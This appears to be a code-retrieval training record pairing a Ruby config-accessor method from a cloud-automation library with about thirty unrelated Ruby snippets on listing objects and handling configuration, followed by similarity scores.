"def get_object_list(s3_client, object_info)\n\tobject_list = []\n\n\tparams = {\n\t\tbucket: object_info[:bucket], # required\n\t\tprefix: object_info[:prefix],\n\t\tmax_keys: 1000,\n\t}\n\n\tmore = true # will go false when there are no more results\n\twhile more do\n\t\tputs params.inspect if Options[:verbose]\n\n\t\tresp = s3_client.list_objects_v2(params)\n\t\tputs \"Got #{resp.contents.length} objects\".yellow\n\n\t\tresp.contents.each do |o|\n\t\t\tobject_list.push(o.key)\n\t\tend\n\n\t\tmore = resp.is_truncated\n\t\tif resp.is_truncated \n\t\t\tparams[:continuation_token] = resp.next_continuation_token\n\t\tend\n\n\tend\n\n\treturn object_list\nend",
"def objects\n [@player] + @map.objects\n end",
"def list_of_instances\n super\n end",
"def list; end",
"def list; end",
"def list; end",
"def list; end",
"def list; end",
"def list\n @list ||= []\n end",
"def _list\n if @_structure_changed \n @list = nil\n @_structure_changed = false\n end\n unless @list\n $log.debug \" XXX recreating _list\"\n convert_to_list @treemodel\n #$log.debug \" XXXX list: #{@list.size} : #{@list} \"\n $log.debug \" XXXX list: #{@list.size} \"\n end\n return @list\n end",
"def objects(container = @default_container,\n path: nil, limit: nil, gt: nil, lt: nil)\n path = path[1..-1] if path && path[0] == ?/\n p = { path: path, limit: limit, marker: gt, end_marker: lt\n }.delete_if {|k,v| v.nil? }\n j,h = api_openstack(:get, container, p)\n Hash[j.map {|o| [ o['name'], {\n :hash => o['hash'],\n :lastmod => Time.parse(o['last_modified']),\n :size => o['bytes'].to_i,\n :type => o['content_type'],\n :contuse => h['x-container-bytes-used'],\n :contoct => h['x-container-object-coun'],\n :storpol => h['x-storage-policy'],\n } ] } ]\n end",
"def all_objects\n objects = []\n each_namespace{|n| objects << n}\n each_namespace{|n| \n n.each_relvar{|r| objects << r}\n }\n each_namespace{|n| \n n.each_relvar{|r| r.each_candidate_key{|k| objects << k}}\n }\n each_namespace{|n| \n n.each_relvar{|r| r.each_foreign_key{|k| objects << k}}\n }\n objects\n end",
"def getObjects(iTypeName)\n return getType(iTypeName).getObjects\n end",
"def filter(objects) objects end",
"def get_items\n\t\treturn @list\n\tend",
"def list(*) end",
"def serializable\n results = []\n each do |object, permissions|\n results << SerializableResult.new(object, permissions)\n end\n results\n end",
"def get_objects\n return self.pageobjects\n end",
"def all\n @customer_objects\n end",
"def class_list\n array = []\n ObjectSpace.each_object(Class) {|m| array << m }\n array\n end",
"def objects\n @graphs.inject([]) {|memo, g| memo += g.objects}\n end",
"def buildProducts(productObject)\n\n retArray = Array.new\n # iterate over every product json object and parse it into Product class, then add it to the returned array\n productObject.each do |obj|\n new_product = Product.new(obj['title'], obj['amount'])\n retArray.push(new_product)\n end\n return retArray\nend",
"def to_a\r\n @objs.dup\r\n end",
"def all\n list = []\n page = 1\n fetch_all = true\n\n if @query.has_key?(:page)\n page = @query[:page]\n fetch_all = false\n end\n \n while true\n response = RestClient.get(@type.Resource, @query)\n data = response['data'] \n if !data.nil? && data.any?\n data.each {|item| list << @type.from_json(item)}\n \n if !fetch_all\n break\n else\n @query.merge!(page: page += 1)\n end\n else\n break\n end\n end\n\n return list\n end",
"def list\n Enumerator.new do |y|\n @cache.each_value do |re|\n y << [re['address'], re['name']]\n end\n end\n end",
"def all_objects_in_order\n all_objects\n end",
"def digital_objects\n digital_objects_field = fetch('digital_objects_ssm', []).reject(&:empty?)\n return [] if digital_objects_field.blank?\n\n digital_objects_field.map do |object|\n DigitalObject.from_json(object)\n end\n end",
"def all\n @list\n end",
"def to_a\n @list\n end",
"def list\n only.to_a\n end",
"def getAssociatedObjects\n Item_objects = ObjectSpace.each_object(Item).to_a\n puts Item_objects\n item_ordered = Array.new\n Item_objects.each do |x| \n # if arr[x].order_id == @order_id\n # item_ordered = arr[x]\n # end\n # item_ordered\n puts Item_objects[x]\n end\n end",
"def objects\n\t\t\t\tparams=self.field_hash[:params]\n\t\t\t\tret=[]\n\t\t\t\tunless params.nil?\n\t\t\t\t\tactivity=params[:activity]\n\t\t\t\t\tparams.delete(:activity)\n\t\t\t\t\tret = {:act => activity, :obj => params.values}\n\t\t\t\tend\n\t\t\t\tret\n\t\t\tend"
] |
[
"0.7284758",
"0.7205446",
"0.6986376",
"0.69834936",
"0.6967095",
"0.69623643",
"0.68796635",
"0.6874596",
"0.68508726",
"0.68129116",
"0.67356616",
"0.6730807",
"0.6721768",
"0.6704683",
"0.6696705",
"0.66573125",
"0.66452366",
"0.6642948",
"0.6632491",
"0.6621784",
"0.660687",
"0.6601148",
"0.6590169",
"0.6587621",
"0.6558706",
"0.65460765",
"0.6540612",
"0.6504783",
"0.6457653",
"0.6453571",
"0.6447386",
"0.6445327",
"0.6437004",
"0.64327383",
"0.6410068",
"0.6407551",
"0.639108",
"0.63825357",
"0.63775927",
"0.63757616",
"0.6368729",
"0.63605565",
"0.6327298",
"0.6313354",
"0.6285066",
"0.62696654",
"0.624639",
"0.6231477",
"0.62216353",
"0.62049",
"0.6191516",
"0.61835134",
"0.6179028",
"0.6174422",
"0.617146",
"0.61652887",
"0.615439",
"0.6151032",
"0.6151032",
"0.6115669",
"0.6111586",
"0.6098934",
"0.6087117",
"0.6071272",
"0.6069789",
"0.6067262",
"0.60643977",
"0.60463977",
"0.6039213",
"0.6031275",
"0.6028516",
"0.60265166",
"0.6023825",
"0.6023825",
"0.6023825",
"0.6023825",
"0.6023825",
"0.60221463",
"0.6019344",
"0.6015321",
"0.60077983",
"0.60020316",
"0.5987258",
"0.5985818",
"0.5982006",
"0.5972456",
"0.5971413",
"0.59703845",
"0.5966998",
"0.59482074",
"0.5937229",
"0.5930109",
"0.5925703",
"0.5922052",
"0.5918656",
"0.5888371",
"0.5882021",
"0.5870673",
"0.58609754",
"0.5845758",
"0.5841642"
] |
0.0
|
-1
|
Initialize Cloud object Data
|
def initialize(oForjConfig, oForjProcess, oForjProvider = nil)
# Object Data object. Contains all loaded object data.
# This object is used to build hParams as well.
@ObjectData = ObjectData.new(true)
#
@RuntimeContext = {
:oCurrentObj => nil
}
@oForjConfig = oForjConfig
raise ForjError.new(), "'%s' is not a valid ForjAccount or ForjConfig Object." % [oForjConfig.class] if not oForjConfig.is_a?(ForjAccount) and not oForjConfig.is_a?(ForjConfig)
@oProvider = oForjProvider
if oForjProvider
raise ForjError.new(), "'%s' is not a valid ForjProvider Object type." % [oForjProvider.class] if not oForjProvider.is_a?(BaseController)
end
@oForjProcess = oForjProcess
raise ForjError.new(), "'%s' is not a valid BaseProcess Object type." % [oForjProcess.class] if not oForjProcess.is_a?(BaseProcess)
@oForjProcess.set_BaseObject(self)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def initialize_data\n end",
"def initialize\n super()\n init_data()\n end",
"def init_data\n end",
"def initialize\n @data = Data.instance\n end",
"def initialize\n load_data\n end",
"def initialize(data)\n\n end",
"def initialize data\n self.data = data\n end",
"def initialize data\n self.data = data\n end",
"def initialize data\n self.data = data\n end",
"def initialize data\n self.data = data\n end",
"def initialize data\n self.data = data\n end",
"def initialize data\n self.data = data\n end",
"def initialize data\n self.data = data\n end",
"def initialize data\n self.data = data\n end",
"def initialize data\n @data = data\n end",
"def initialize(data)\n\t\t@data = data\n\tend",
"def initialize(*args)\n super\n @data = {}\n end",
"def initialize(data)\n @data = data\n end",
"def create_objects\n cloud Mash.new\n cloud[:public_ips] = Array.new\n cloud[:private_ips] = Array.new\n end",
"def initialize(data)\n @data = data\n end",
"def initialize(data)\n @data = data\n end",
"def initialize(data)\n @data = data\n end",
"def initialize(data)\n @data = data\n end",
"def initialize(data)\n @data = data\n end",
"def initialize(data)\n @data = data\n end",
"def initialize(data)\n @data = data\n end",
"def initialize(args={})\n @data = {}\n @data[:type] = ''\n @data[:data] = {}\n @data[:data][:datasets] = []\n @data[:options] = {}\n end",
"def pre_initialize\n end",
"def initialize(data)\n @data = data\n end",
"def initialize(data = {})\n @data = data\n end",
"def initialize(ctx, data)\n # cache context and data, get properties\n @ctx, @data = ctx, data.freeze\n props = @data['properties']\n\n # log data\n @ctx.log.debug('Forecast#initialize') do\n 'data = %p' % [@data]\n end\n\n @updated_at = Time.parse(props['updated'])\n @units = props['units']\n @generator = props['generator']\n @generated_at = Time.parse(props['generatedAt'])\n @update_time = Time.parse(props['updateTime'])\n @valid_times = props['validTimes']\n @elevation = props['elevation']['value']\n end",
"def initialize(_ = {})\n @data = {}\n end",
"def initialize(data)\n self.class.get(data)\n end",
"def pre_initialize; end",
"def initialize(bucket, data)\n super\n @all_views = {}\n @views = @doc.has_key?('views') ? @doc['views'].keys : []\n @spatial = @doc.has_key?('spatial') ? @doc['spatial'].keys : []\n @views.each{|name| @all_views[name] = \"#{@id}/_view/#{name}\"}\n @spatial.each{|name| @all_views[name] = \"#{@id}/_spatial/#{name}\"}\n end",
"def initialize(data)\n super\n end",
"def initialize(data)\n super\n end",
"def initialize_data_store\n @data = empty_data_store\n end",
"def initialize()\n\tjson_data\t= {}\nend",
"def initialize(data, location)\n @id = nil \n @image = { \n location: location,\n image_url: data[0][:urls][:raw],\n credit: { \n source: \"unsplash.com\",\n author: data[0][:user][:username]\n }\n } \n end",
"def initialize_defaults\n self.data = {} if data.blank?\n end",
"def initialize client, data\n super\n\n @id = data[\"id\"]\n @name = data[\"name\"]\n @topic = data[\"topic\"]\n @one_on_one = data[\"oneOnOne\"]\n @lurk = data[\"lurk\"]\n @public = data[\"public\"]\n @mentions = data[\"mentions\"]\n @user_count = data[\"userCount\"]\n @unread_items = data[\"unreadItems\"]\n @tags = data[\"tags\"]\n @uri = data[\"uri\"]\n @url = data[\"url\"]\n end",
"def initialize(*opts)\n initialize_options(*opts)\n initialize_data(*opts)\n end",
"def initialize(data)\n self.data = (self.respond_to? :prepare_data)? prepare_data(data): data\n self\n end",
"def initialize\n @data = {}\n @data_file = $config[:billing_data][:connection]\n\n @data = YAML.load_file(@data_file) if File.exist?(@data_file)\n\n @data[\"bindings\"] = {} unless @data.has_key?(\"bindings\")\n end",
"def initialize(data)\n @data = data\nend",
"def initialize(object)\n @id = object[\"id\"]\n @data = object[\"data\"]\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize(data) # will accept the attribute data. \r\n\r\n @data = data # store the attribute data, and allows it to be used each time. \r\n\r\n end",
"def initialize(data, start, constant_pool)\r\n creator = AttributesCreator.new(data, start, constant_pool)\r\n creator.create!\r\n @attributes = creator.attributes\r\n @size = creator.size\r\n end",
"def initialize_data\n @data = parse_body || {}\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize(*options)\n # @system_data = {'some' => 'data}\n super(*options)\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize(user, data)\n\t\t\tsuper(user)\n\t\t\tinit(data)\n\t\tend",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end",
"def initialize()\n @additional_data = Hash.new\n end"
] |
[
"0.7572795",
"0.73860735",
"0.7267619",
"0.6879901",
"0.68410105",
"0.6774036",
"0.6728262",
"0.6728262",
"0.6728262",
"0.6728262",
"0.6728262",
"0.6728262",
"0.6728262",
"0.6728262",
"0.6696164",
"0.6674611",
"0.6617485",
"0.66101927",
"0.65782803",
"0.65560806",
"0.65560806",
"0.65560806",
"0.65560806",
"0.6552187",
"0.6552187",
"0.6552187",
"0.65452546",
"0.6516942",
"0.6510337",
"0.6475192",
"0.64642525",
"0.64146644",
"0.6411911",
"0.63882273",
"0.6378594",
"0.635746",
"0.635746",
"0.6356865",
"0.6331889",
"0.6327118",
"0.6318494",
"0.630894",
"0.6303587",
"0.62826854",
"0.6269311",
"0.6266464",
"0.6258726",
"0.624275",
"0.624275",
"0.624275",
"0.62361026",
"0.62293035",
"0.6224687",
"0.6222592",
"0.6222592",
"0.6222592",
"0.6222592",
"0.6222592",
"0.6222592",
"0.6222592",
"0.6222592",
"0.6220348",
"0.6220348",
"0.6208755",
"0.6182821",
"0.6182821",
"0.6182821",
"0.6182821",
"0.61753136",
"0.6163257",
"0.6163257",
"0.61569685",
"0.6153703",
"0.61535543",
"0.61535543",
"0.61535543",
"0.61535543",
"0.61535543",
"0.61535543",
"0.61535543",
"0.61535543",
"0.61535543",
"0.61535543",
"0.61535543",
"0.61535543",
"0.61535543",
"0.61535543",
"0.61535543",
"0.61535543",
"0.61535543",
"0.61535543",
"0.61535543",
"0.61535543",
"0.61535543",
"0.61535543",
"0.61535543",
"0.61535543",
"0.61535543",
"0.61535543",
"0.61535543",
"0.61535543"
] |
0.0
|
-1
|
Functions used by processes functions Ex: object.set_data(...) config Function to manipulate the config object. 2 kind of functions: set (key, value) and []=(key, value) From processes, you can set a runtime data with: config.set(key, value) OR config[key] = value get (key, default) and [](key, default) default is an optional value. From processes, you can get a data (runtime/account/config.yaml or defaults.yaml) with: config.get(key) OR config[key]
|
def config
raise ForjError.new(), "No config object loaded." if not @oForjConfig
@oForjConfig
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_config(config)\n\t\tend",
"def []=(key, value)\n config[key] = value\n end",
"def set_config(*args); end",
"def set_config(*args); end",
"def set_config(*args); end",
"def set_config(*args); end",
"def set_config(*args); end",
"def config_set key, value\n self.config\n end",
"def config=(value); end",
"def config=(*args); end",
"def config=(*args); end",
"def []=(key, value)\n if value.class == Hash\n @data[key.to_sym] = Config.new(value)\n else\n @data[key.to_sym] = value\n end\n end",
"def []=(key, value)\n if value.class == Hash\n @data[key.to_sym] = Config.new(value)\n else\n @data[key.to_sym] = value\n end\n end",
"def []=(key, value)\n if value.class == Hash\n @data[key.to_sym] = Config.new(value)\n else\n @data[key.to_sym] = value\n end\n end",
"def _handle_config(name, value=nil, override=false)\n if !self.const_defined?(\"CONFIG\")\n self.class_eval(\"CONFIG = {}\")\n end\n \n if value != nil\n if override or self::CONFIG[name] == nil\n self::CONFIG[name] = value \n end\n else\n # if we pass an array of config keys to config(),\n # get the array of values back\n if name.is_a? Array\n name.map { |c| self::CONFIG[c] }\n else\n self::CONFIG[name]\n end\n end \n end",
"def config(value,options)\n\n end",
"def config(value,options)\n\n end",
"def []=(key, value)\n load_config unless @config\n @config[key] = value\n save_config\n end",
"def config_set key, value\n n_config = config.dup\n n_config[key]=value\n self.config= n_config\n end",
"def config_set key, value\n n_config = config.dup\n n_config[key]=value\n self.config= n_config\n end",
"def method_missing method, *args, &block\n if args.empty?\n @config.send(method)\n else\n @config.send(\"#{method}=\", args.first)\n end\n end",
"def configure(config={})\n config.each do |(key, val)|\n self.config[key] = val\n end\n end",
"def config(name = nil, value = nil, options = {})\n if name && value\n # set value\n lib.config_set(name, value, options)\n elsif name\n # return value\n lib.config_get(name)\n else\n # return hash\n lib.config_list\n end\n end",
"def config=(config); end",
"def setconfig(key, val, store=config_store)\n return store.transaction { store[key] = val }\nend",
"def config_store; end",
"def set_config(key, val)\n config[key] = val\n end",
"def method_missing(method_name, *args, &block)\n setter = method_name.to_s.end_with?('=')\n key = method_name.to_s.chomp('=').to_sym\n\n if config.key?(key)\n setter ? config[key] = args.shift : config[key]\n else\n super\n end\n end",
"def config(args)\n old_config = Punch.config.clone\n\n args.each do |k, v|\n Punch.config.send \"#{k}=\", v\n end\n\n yield\n\nensure\n Punch.config = old_config\nend",
"def config=(_arg0); end",
"def config=(_arg0); end",
"def config=(_arg0); end",
"def config=(_arg0); end",
"def config=(_arg0); end",
"def []= key, value\n raise \"method #{key} already exists on this configuration object\" if @yaml.key? key\n @yaml[key.to_s] = value\n end",
"def configure(config)\n\t\t\tvalid_configs = [:next_uid, :max_key_age, :tags, :sudo_group]\n\t\t\tto_use_config = config.select{|k,v| valid_configs.include?(k)}\n\t\t\t@metadata.attributes.update do |item_data|\n\t\t\t\titem_data.set(to_use_config)\n\t\t\t\tif(config.has_key?(:user_file_bucket))\n\t\t\t\t\tif(config[:user_file_bucket])\n\t\t\t\t\t\titem_data.set(:user_file_bucket => config[:user_file_bucket])\n\t\t\t\t\telse\n\t\t\t\t\t\titem_data.delete(:user_file_bucket)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tif(@metadata.attributes[:identity] == nil)\n\t\t\t\t\titem_data.set(:identity => 0)\n\t\t\t\telse\n\t\t\t\t\titem_data.add(:identity => 1)\n\t\t\t\tend\n\t\t\tend\n\t\tend",
"def method_missing(name, *args, &block)\n if @config.has_key? name.to_s\n @config[name.to_s]\n elsif name.to_s[-1] == '=' && @config.has_key?(name.to_s[0..-2])\n var = name.to_s[0..-2]\n @config[var] = args[0]\n elsif @topology.respond_to? name\n @topology.send name, *args, &block\n else\n super\n end\n end",
"def []=(key, val)\n (@configuration ||= setup)[key] = val\n end",
"def []=(key, val)\n (@configuration ||= setup)[key] = val\n end",
"def set_config(key, val)\n @config[key] = val\n end",
"def config=(config = {})\n @config = config.is_a?(Hash) ? config : {}\n config = config.split(\",\") if config.is_a?(String)\n if config.is_a?(Array)\n config.each do |c|\n c = c.split(\":\", 2)\n @config[c[0]] = c[1]\n end\n end\n end",
"def []=(key, value)\n validate_key(key)\n return unless Radiant::Config.table_exists?\n # key must be in the form of a string for Radiant:Config\n key = key.to_s\n\n case key\n # TODO: Remove directory config entry since Rack cache does not use it.\n when /_directory$/\n value = validate_directory(value, key)\n @@live_config[key] = Radiant::Config[\"SnS.#{key}\"] = value\n when /_mime_type$/\n validate_mime_type(value, key)\n @@live_config[key] = Radiant::Config[\"SnS.#{key}\"] = value\n Radiant::Cache.clear\n end\n end",
"def _default_config_method(config_key, *args)\n if args.length.positive?\n # Set the value\n @settings[config_key].value = args[0]\n else\n # Get the value\n setting = @settings[config_key]\n if setting.default_proc && setting.value.nil?\n setting.value = setting.default_proc.call\n end\n setting.value\n end\n end",
"def config(mod, *accessors); end",
"def []=(key, val)\n (@configuration ||= setup)[key.to_s] = val\n end",
"def []=(key, value)\n @config[key.to_s] = value\n end",
"def load_config\n if params[:config].given?\n @config = File.open(File.expand_path(params[:config].value)) { |f| JSON.load(f) }\n\n @config.each do |key, value|\n if params.has_key?(key) and params[key].values == params[key].defaults\n params[key].values = [*value]\n params[key].given = true\n end\n end\n\n end\n end",
"def []=(key, val)\n configuration[key] = val\n end",
"def get_config\n {}.update(local_config)\nend",
"def config=(config)\n @config = config\n end",
"def method_missing(method, *args)\n if method.to_s[-1,1] == '='\n @configuration[method.to_s.tr('=','').to_sym] = *args\n else\n @configuration[method]\n end\n end",
"def set_config(env, override_configurations = T.unsafe(nil)); end",
"def config(key, defval=nil, store=config_store)\n return store.transaction { store.fetch(key, defval) }\nend",
"def put_config config = { 'room' => [ { 'name' => 'default-room', 'device' => [ 'light' => { 'name' => 'default-device' } ] } ] }\n File.open( self.get_config_file, 'w' ) do | handle |\n handle.write YAML.dump( config )\n end\n self.get_config_file\n end",
"def [](key)\n config[key]\n end",
"def set_config(key, value)\n return store(:set, \"configs/#{key}\", value).to_s\n end",
"def set(key, value)\n return nil if not key\n\n key = key.to_sym if key.class == String\n section = ForjDefault.get_meta_section(key)\n\n return @oConfig.set(key, value) if not section\n return nil if readonly?(key)\n _set(section, key, value)\n end",
"def config_set(id,valor)\n Configuration.set(id,valor)\n end",
"def config(&b)\n b.call\nend",
"def config(value)\n # require value if File.exists?(value)\n if File.exists?(value)\n fc = File.read(value)\n self.instance_eval(fc)\n end\n end",
"def user_config(key)\n Autoproj.user_config(key)\nend",
"def []=(key, value)\n if config = configs[key]\n config.set(receiver, value)\n else\n store[key] = value\n end\n end",
"def get_config\n\t\tend",
"def config\n\n end",
"def config\n \n # TODO: Re-enable:\n # # Display the value for a specific machine.\n # $ rudy -e prod -r db config param-name\n \n if @@config.nil? || @@config.empty?\n return if @@global.quiet\n raise Rudy::NoConfig\n end\n\n outform = @@global.format == :json ? :to_json : :to_yaml\n \n types = @option.marshal_dump.keys & @@config.keys # Intersections only\n types = @@config.keys if @option.all\n types = [:machines] if types.empty?\n \n if @option.project\n rf = File.join(RUDY_HOME, 'Rudyfile')\n raise \"Cannot find: #{rf}\" unless File.exists?(rf)\n li File.read(rf)\n \n elsif @option.script\n conf = fetch_script_config\n li conf.to_hash.send(outform) if conf\n \n else\n #li \"# ACCOUNTS: [not displayed]\" if types.delete(:accounts)\n types.each do |conftype|\n li \"# #{conftype.to_s.upcase}\"\n next unless @@config[conftype] # Nothing to output\n if conftype == :accounts\n skey = @@config[conftype][:aws][:secretkey]\n @@config[conftype][:aws][:secretkey] = hide_secret_key(skey)\n end\n \n li @@config[conftype].to_hash.send(outform)\n end\n end\n \n end",
"def set(key_path, value)\n ctx = {}\n \n # Load existing config\n if File.exist? $context_file\n raw = File.read $context_file\n ctx = JSON.parse raw\n end\n\n\tadapters = Adapter.List\n\n key_index = 0\n obj = ctx\n\tadapter = nil\n\n while key_index < key_path.size do\n\t\tif key_index == 0\n\t\t\tadapter = key_path[key_index]\n\t\t\tif adapters[adapter].nil?\n\t\t\t\tSTDERR.puts \"No such adapter #{adapter} supported.\"\n\t\t\t\tadapter_list = adapters.collect { |k,v| \"\\t- #{k}\" }.join(\"\\n\")\n\t\t\t\tSTDERR.puts \"Valid adapters are:\\n#{adapter_list}\"\n\t\t\t\texit 1\n\t\t\tend\n\t\telse\n\t\t\tif !adapters[adapter].supported? key_path[key_index]\n\t\t\t\tSTDERR.puts \"No such setting #{key_path[key_index]} for adapter #{adapter}\"\n\t\t\t\texit 1\n\t\t\tend\n\t\tend\n\n\t\t# Now that we've validated the settings, we don't need to initialize the leaf values to maps, they should all be scalar values\n\t\tbreak if key_index == key_path.size - 1\n\n if obj[key_path[key_index]].nil?\n obj[key_path[key_index]] = {}\n end\n obj = obj[key_path[key_index]]\n key_index += 1\n end\n obj[key_path[key_index]] = value\n\n # Write changes to config file\n File.open($context_file, \"w\") {|f| f << JSON(ctx)}\nend",
"def setting_object(name, &block)\n new_config = ConfigStruct.new(\"#{@name}.#{name}\")\n @setting_objects[name] = []\n @setting_templates[name] = new_config\n new_config.instance_eval(&block)\n end",
"def setting(name, default_value=nil, default_proc: nil, &block)\n if block_given?\n # Create a nested setting\n setting_config = @settings[name]&.value || ConfigStruct.new(\"#{@name}.#{name}\")\n setting = ConfigValue.new\n setting.value = setting_config\n @settings[name] = setting\n setting_config.instance_eval(&block)\n else\n setting = ConfigValue.new\n setting.default_proc = default_proc\n setting.default_value = default_value\n setting.reset!\n @settings[name] = setting\n end\n end",
"def config=(config)\n @config = config.kind_of?(Hash) ? OpenStruct.new(config) : config\n end",
"def config=(env, override_configurations = T.unsafe(nil)); end",
"def config(key=nil, value=nil)\n if key.nil?\n JSON.parse(@client.call('queue.config', @name))\n elsif value.nil?\n @client.call('queue.config', @name, key)\n else\n @client.call('queue.config', @name, key, value)\n end\n end",
"def init(config)\n config.each{|k, v|\n @config[k] = v\n }\n end",
"def []=(*args)\n args.map!(&:to_s)\n @config.[]=(*args)\n end",
"def internal_set(symbol, value)\n if configurables.key?(symbol)\n configurables[symbol].set(configuration, value)\n elsif config_contexts.key?(symbol)\n config_contexts[symbol].restore(value.to_hash)\n else\n if config_strict_mode == :warn\n Chef::Log.warn(\"Setting unsupported config value #{symbol}.\")\n elsif config_strict_mode\n raise UnknownConfigOptionError, \"Cannot set unsupported config value #{symbol}.\"\n end\n configuration[symbol] = value\n end\n end",
"def [](key)\n @config[key]\n end",
"def config_load(config); end",
"def set\n requires_preauth\n unless args.size > 0 and args.all? { |a| a.include?('=') }\n error(\"Usage: heroku config:set KEY1=VALUE1 [KEY2=VALUE2 ...]\\nMust specify KEY and VALUE to set.\")\n end\n\n vars = args.inject({}) do |v, arg|\n key, value = arg.split('=', 2)\n v[key] = value\n v\n end\n\n action(\"Setting config vars and restarting #{app}\") do\n api.put_config_vars(app, vars)\n\n @status = begin\n if release = api.get_release(app, 'current').body\n release['name']\n end\n rescue Heroku::API::Errors::RequestFailed\n end\n end\n\n vars.each {|key, value| vars[key] = value.to_s}\n styled_hash(vars)\n end",
"def setup_config(config=nil, &block)\n @config = config || ConfigStruct.block_to_hash(block)\n end",
"def add(config = {})\n config.each do |key, value|\n define_setting key.to_sym, value\n end\n end",
"def set_adhoc_config_value!(key, value, data_type='String')\n config = \"UniversalAr::Config#{data_type.to_s.titleize}\".classify.constantize.find_or_create_by(subject: self, key: key)\n config.update(value: value)\n end",
"def set_config(parameters)\n parameters.each do |k,v|\n self.instance_variable_set(\"@#{k}\".to_sym, v)\n end\n end",
"def setConfig(key,value)\n @state.config[key] = value\n end",
"def rw_config(key, value, default_value = nil)\n if value.nil?\n acts_as_authentic_config.include?(key) ? acts_as_authentic_config[key] : default_value\n else\n self.acts_as_authentic_config = acts_as_authentic_config.merge(key => value)\n value\n end\n end",
"def set(key, value); end",
"def set(key, value); end",
"def set_config key, default=nil, &block\n default = _config_for(&block) if block_given?\n\n default = default.call if default.kind_of? Proc\n\n config[key] = default\n end",
"def data\n @config || load_config_file\n end",
"def []=(key, value)\n gitlib.command(:config, [key, value])\n config_hash[key] = value unless config_hash.empty?\n value\n end",
"def init_with config\n config.each { |key, value|\n self.send((key.to_s+\"=\").to_sym, value ) if respond_to? key.to_sym\n }\n end",
"def rw_config(key, value, default_value = nil)\n if value.nil?\n acts_as_authentic_config.include?(key) ? acts_as_authentic_config[key] : default_value\n else\n self.acts_as_authentic_config = acts_as_authentic_config.merge(key => value)\n value\n end\n end",
"def [](config)\n ensure_config_file_exists\n @@config ||= HashWithIndifferentAccess.new(YAML.parse_file(CONFIG_FILE).to_ruby)\n @@config[:watch_tower].send(:[], config)\n end",
"def [](name)\r\n load\r\n @config[name]\r\n end",
"def setup(&blk)\n @config.read(&blk)\n @config\n end",
"def [](key)\n config[key]\n end",
"def setConf(key, value)\n @conf[key] = value ;\n end",
"def get_and_set(key, value); end",
"def add_config(name, config)\n\t\tend",
"def set(key, value)\n end",
"def set_config(arg = {}, defaults = {})\n set = {}\n set[:log] = set_log(arg[:log_file], arg[:log_level], defaults[:log])\n set[:auth] = set_auth(arg[:auth], defaults[:auth])\n set[:content_type] = set_content_type(arg[:content_type], defaults[:content_type])\n set[:headers] = set_headers(arg[:headers], defaults[:headers])\n set[:interface] = set_interface(arg[:interface], defaults[:interface])\n set[:region_id] = set_region_id(arg[:region_id], defaults[:region_id])\n set[:ssl_verify_mode] = set_ssl_verify_mode(arg[:ssl_verify_mode], defaults[:ssl_verify_mode])\n set\n end",
"def [](*args)\n args.map!(&:to_s)\n @config.[](*args)\n end",
"def update!(data)\n # can't be used @data.merge because []= is differently defined (below)\n case data\n when Hash\n when MMETools::Config\n data = data.to_hash\n else raise ArgumentError, \"Only Hash objects or MMETools::Config objects admited\"\n end\n data.each do |key, value|\n self[key] = value\n end\n end"
] |
[
"0.6600663",
"0.6535007",
"0.65323913",
"0.65323913",
"0.65323913",
"0.65323913",
"0.65323913",
"0.65096784",
"0.64741683",
"0.6366999",
"0.6366999",
"0.63625187",
"0.63625187",
"0.63625187",
"0.6352882",
"0.63445306",
"0.63445306",
"0.62965673",
"0.6265768",
"0.6265768",
"0.6249465",
"0.62389404",
"0.62307286",
"0.62285525",
"0.6219013",
"0.6182477",
"0.6150056",
"0.6142754",
"0.61380935",
"0.6088559",
"0.6088559",
"0.6088559",
"0.6088559",
"0.6088559",
"0.6087863",
"0.6077556",
"0.60526884",
"0.60158575",
"0.60158575",
"0.6010564",
"0.5986603",
"0.5970469",
"0.5954808",
"0.5953482",
"0.5911044",
"0.5902968",
"0.5887005",
"0.58786875",
"0.58744675",
"0.5870073",
"0.58699036",
"0.58265114",
"0.58186615",
"0.5818253",
"0.5802488",
"0.57928467",
"0.57806635",
"0.5769354",
"0.5764792",
"0.5756058",
